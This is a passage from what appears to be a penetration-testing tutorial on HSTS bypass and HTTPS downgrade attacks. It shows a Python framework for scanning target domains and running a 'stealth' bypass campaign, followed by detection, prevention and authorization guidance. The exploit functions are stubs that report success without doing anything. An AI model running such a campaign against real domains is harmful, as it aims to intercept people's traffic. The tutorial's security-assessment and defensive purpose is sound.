})
except:
pass
except Exception as e:
print(f"Error analyzing {domain}: {e}")
return opportunities
def extract_max_age(self, hsts_header):
"""Extract max-age value from HSTS header"""
try:
if 'max-age=' in hsts_header:
start = hsts_header.find('max-age=') + 8
end = hsts_header.find(';', start)
if end == -1:
end = len(hsts_header)
return int(hsts_header[start:end])
except:
pass
return 0
async def execute_automated_bypass_campaign(self, opportunities):
"""Execute automated HSTS bypass campaign"""
bypass_results = {}
for domain, domain_opportunities in opportunities.items():
domain_results = []
for opp in domain_opportunities:
if opp['risk'] == 'high':
# Execute high-risk bypasses immediately
result = await self.execute_bypass(domain, opp)
domain_results.append(result)
elif opp['risk'] == 'medium':
# Queue medium-risk bypasses
await asyncio.sleep(5) # Delay for stealth
result = await self.execute_bypass(domain, opp)
domain_results.append(result)
bypass_results[domain] = domain_results
return bypass_results
async def execute_bypass(self, domain, opportunity):
"""Execute specific HSTS bypass technique"""
bypass_type = opportunity['type']
if bypass_type == 'no_hsts_policy':
return await self.exploit_no_hsts_policy(domain)
elif bypass_type == 'subdomain_gap':
return await self.exploit_subdomain_gap(domain)
elif bypass_type == 'http_accessible':
return await self.exploit_http_accessible(domain)
elif bypass_type == 'short_max_age':
return await self.exploit_short_max_age(domain, opportunity['max_age_days'])
return {'success': False, 'reason': 'Unknown bypass type'}
async def exploit_no_hsts_policy(self, domain):
"""Exploit domains without HSTS policy"""
print(f"Exploiting no HSTS policy for {domain}")
# Start HTTP interception
# Real implementation would start proxy/interception
return {
'success': True,
'bypass_type': 'no_hsts_policy',
'domain': domain,
'start_time': datetime.now().isoformat()
}
async def exploit_subdomain_gap(self, domain):
"""Exploit subdomain HSTS gaps"""
print(f"Exploiting subdomain gaps for {domain}")
# Enumerate and test subdomains
# Real implementation would do subdomain enumeration
return {
'success': True,
'bypass_type': 'subdomain_gap',
'domain': domain,
'vulnerable_subdomains': [] # Would populate with actual subdomains
}
async def exploit_http_accessible(self, domain):
"""Exploit HTTP-accessible domains"""
print(f"Exploiting HTTP accessibility for {domain}")
return {
'success': True,
'bypass_type': 'http_accessible',
'domain': domain
}
async def exploit_short_max_age(self, domain, max_age_days):
"""Exploit short max-age HSTS policies"""
print(f"Exploiting short max-age ({max_age_days} days) for {domain}")
return {
'success': True,
'bypass_type': 'short_max_age',
'domain': domain,
'max_age_days': max_age_days
}
# Example usage
async def main():
automation = HSTSBypassAutomation()
target_domains = [
'example.com', 'test.org', 'sample.net',
'corporate.example.com', 'api.example.com'
]
# Automated reconnaissance
opportunities = await automation.automated_hsts_reconnaissance(target_domains)
# Execute automated bypass campaign
results = await automation.execute_automated_bypass_campaign(opportunities)
print("HSTS bypass campaign completed:")
print(json.dumps(results, indent=2))
# asyncio.run(main())
Detection and Prevention
Detection Indicators
- HTTP traffic to domains that should be HTTPS-only
- Missing or modified HSTS headers in HTTP responses
- Unusual browser HSTS database modifications or access patterns
- Network traffic showing HTTPS to HTTP downgrades
- Certificate warnings or errors for domains with HSTS policies
Prevention Measures
HSTS Implementation Best Practices:
# Implement comprehensive HSTS policy
echo "Strict-Transport-Security: max-age=63072000; includeSubDomains; preload"
# Submit domains to HSTS preload list
curl -X POST "https://hstspreload.org/api/v2/submit" -d "domain=example.com"
# Monitor HSTS policy compliance
curl -I https://example.com | grep -i strict-transport-security
Advanced HSTS Protection:
- Deploy HSTS policies with maximum max-age values (2+ years)
- Include all subdomains in HSTS policies with includeSubDomains directive
- Submit critical domains to HSTS preload lists for browser pre-loading
- Implement HTTP to HTTPS redirects at the network level before application processing
Monitoring and Detection:
- Monitor for HTTP requests to HSTS-protected domains
- Implement certificate transparency monitoring for unauthorized certificates
- Deploy network security monitoring for HTTPS downgrade attempts
- Use browser security extensions that enforce HTTPS connections
Professional Context
Legitimate Use Cases
- HSTS Implementation Testing: Validating HSTS policy effectiveness and coverage gaps
- Security Assessment: Testing organizational resilience against HTTPS downgrade attacks
- Browser Security Testing: Evaluating browser HSTS enforcement and protection mechanisms
- Network Security Validation: Testing network-level HTTPS enforcement and monitoring capabilities
Legal and Ethical Requirements
Authorization: HSTS bypass testing can expose sensitive communications - explicit written permission essential
Scope Definition: Clearly identify which domains and network segments are in-scope for HSTS bypass testing
Data Protection: Ensure intercepted HTTPS-downgraded traffic is handled securely and in compliance with privacy regulations
Restoration Procedures: Restore original HSTS configurations and browser databases after testing completion
HSTS Bypass and Downgrade Attacks demonstrate the critical importance of comprehensive HTTPS enforcement and proper HSTS implementation, providing essential skills for security assessment while highlighting sophisticated techniques used to circumvent transport layer security protections.